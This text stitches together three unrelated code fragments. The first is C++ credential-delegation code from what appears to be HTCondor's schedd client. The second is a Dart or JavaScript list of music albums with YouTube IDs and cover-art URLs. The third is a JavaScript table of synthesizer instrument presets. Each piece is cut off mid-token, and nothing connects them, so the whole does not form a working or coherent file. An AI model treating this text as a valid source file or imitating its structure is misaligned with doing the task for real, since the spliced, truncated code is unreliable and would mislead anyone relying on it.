			path_to_proxy_file, (long) file_size);
		if ( errstack ) {
			errstack->push( "DCSchedd::updateGSIcredential",
							CEDAR_ERR_PUT_FAILED,
							"Failed to send proxy file" );
		}
		return false;
	}

		// Fetch the result
	rsock.decode();
	reply = 0;
	rsock.code(reply);
	rsock.end_of_message();

	if ( reply == 1 )
		return true;
	else
		return false;
}

bool
DCSchedd::delegateGSIcredential(const int cluster, const int proc,
								const char* path_to_proxy_file,
								time_t expiration_time,
								time_t *result_expiration_time,
								CondorError * errstack)
{
	int reply;
	ReliSock rsock;

		// check the parameters
	if ( cluster < 1 || proc < 0 || !path_to_proxy_file || !errstack ) {
		dprintf(D_FULLDEBUG,"DCSchedd::delegateGSIcredential: bad parameters\n");
		if ( errstack ) {
			errstack->push( "DCSchedd::delegateGSIcredential", 1,
							"bad parameters" );
		}


itle': "Taylor Swift - 1989 (Taylor's Version)",
    'image':
        'https://is1-ssl.mzstatic.com/image/thumb/Music116/v4/c1/31/18/c131181b-ca3e-d945-16b2-48ea6bcd64d4/23UM1IM11868.rgb.jpg/250x250bb.jpg',
    'isAlbum': true,
    'list': [],
  },
  {
    'ytid': 'OLAK5uy_m8NVy-6HVgRJ4e9gErhkY8LD0CRS1ORw8',
    'title': 'Khalid - Free Spirit',
    'image':
        'https://is1-ssl.mzstatic.com/image/thumb/Music115/v4/cd/cb/39/cdcb393c-14e6-786a-b120-320957c25699/886447501610.jpg/250x250bb.jpg',
    'isAlbum': true,
    'list': [],
  },
  {
    'ytid': 'OLAK5uy_mDm6sHCjqUcRpQaPVAGHHEY6uobsh0fVc',
    'title': 'Avicii - True',
    'image':
        'https://is1-ssl.mzstatic.com/image/thumb/Music115/v4/63/e5/39/63e53993-0eff-18e2-d756-ce3d56d98270/00602537491377.rgb.jpg/250x250bb.jpg',
    'isAlbum': true,
    'list': [],
  },
  {
    'ytid': 'OLAK5uy_mr6DjxLeVO2rPk8zAZx0F2_k5BaGuXlyQ',
    'title': "Sabrina Carpenter - Short N' Sweet",
    'image':
        'https://is1-ssl.mzstatic.com/image/thumb/Music221/v4/f6/15/d0/f615d0ab-e0c4-575d-907e-1cc084642357/24UMGIM61704.rgb.jpg/250x250bb.jpg',
    'isAlbum': true,
    'list': [],
  },
  {
    'ytid': 'OLAK5uy_k7FTSn7ydw3cNY9X5w2UJYVO7fLXPDTik',
    'title': 'Tame Impala - Currents',
    'image':
        'https://is1-ssl.mzstatic.com/image/thumb/Music115/v4/a8/2e/b4/a82eb490-f30a-a321-461a-0383c88fec95/15UMGIM23316.rgb.jpg/250x250bb.jpg',
    'isAlbum': true,
    'list': [],
  },
  {
    'ytid': 'OLAK5uy_lMaQ4IrRX4WFH9Kg2QBhJwMFFfnRx5wOE',
    'title': "Oasis - (What's The Story) Morning Glory?",
    'image':
        'https://is1-ssl.mzstatic.com/image/thumb/Music113/v4/04/92/e0/0492e08b-cbcc-9969-9ad6-8f5a0888068c/5051961007107.jpg/250x250bb.jpg',
    'isAlbum': true,
    'list': [],
  },
  {
    'ytid': 'OLAK5uy_k4igJBedQoNGRnRdPx2NP-ARZ64c03zHM',
    'title': 'Vance Joy - Dream Your Life Away',
    'image':
        'https://is1-ssl.mzstatic.com/image/thumb/Music115/v4/7a/1c/65/7a1c6571-34e9-bb77-


ne", v: 0.3, d: 0.1, r: 0.1 }, { w: "square", v: 4, t: 3, d: 1, s: 0.2, g: 1 }],
        [{ w: "sine", v: 0.3, d: 0.5, r: 0.5 }, { w: "sine", v: 7, t: 2, f: 2, d: 1, r: 1, g: 1 }],
        [{ w: "triangle", v: 0.6, h: 0.03, d: 0.3, r: 0.3, t: 0.5 }, { w: "n0", v: 8, t: 1.5, d: 0.08, r: 0.08, g: 1 }],
        /* 49-56 : Ensamble */
        [{ w: "sawtooth", v: 0.3, a: 0.03, s: 0.5 }, { w: "sawtooth", v: 0.2, t: 2, f: 2, d: 1, s: 2 }],
        [{ w: "sawtooth", v: 0.3, f: -2, a: 0.03, s: 0.5 }, { w: "sawtooth", v: 0.2, t: 2, f: 2, d: 1, s: 2 }],
        [{ w: "sawtooth", v: 0.2, a: 0.02, s: 1 }, { w: "sawtooth", v: 0.2, t: 2, f: 2, a: 1, d: 1, s: 1 }],
        [{ w: "sawtooth", v: 0.2, a: 0.02, s: 1 }, { w: "sawtooth", v: 0.2, f: 2, a: 0.02, d: 1, s: 1 }],
        [{ w: "triangle", v: 0.3, a: 0.03, s: 1 }, { w: "sine", v: 3, t: 5, f: 1, d: 1, s: 1, g: 1 }],
        [{ w: "sine", v: 0.4, a: 0.03, s: 0.9 }, { w: "sine", v: 1, t: 2, f: 3, d: 0.03, s: 0.2, g: 1 }],
        [{ w: "triangle", v: 0.6, a: 0.05, s: 0.5 }, { w: "sine", v: 1, f: 0.8, d: 0.2, s: 0.2, g: 1 }],
        [{ w: "square", v: 0.15, a: 0.01, d: 0.2, r: 0.2, t: 0.5, h: 0.03 }, { w: "square", v: 4, f: 0.5, d: 0.2, r: 11, a: 0.01, g: 1, h: 0.02 }, { w: "square", v: 0.15, t: 4, f: 1, a: 0.02, d: 0.15, r: 0.15, h: 0.03 }, { g: 3, w: "square", v: 4, f: -0.5, a: 0.01, h: 0.02, d: 0.15, r: 11 }],
        /* 57-64 : Brass */
        [{ w: "square", v: 0.2, a: 0.01, d: 1, s: 0.6, r: 0.04 }, { w: "sine", v: 1, d: 0.1, s: 4, g: 1 }],
        [{ w: "square", v: 0.2, a: 0.02, d: 1, s: 0.5, r: 0.08 }, { w: "sine", v: 1, d: 0.1, s: 4, g: 1 }],
        [{ w: "square", v: 0.2, a: 0.04, d: 1, s: 0.4, r: 0.08 }, { w: "sine", v: 1, d: 0.1, s: 4, g: 1 }],
        [{ w: "square", v: 0.15, a: 0.04, s: 1 },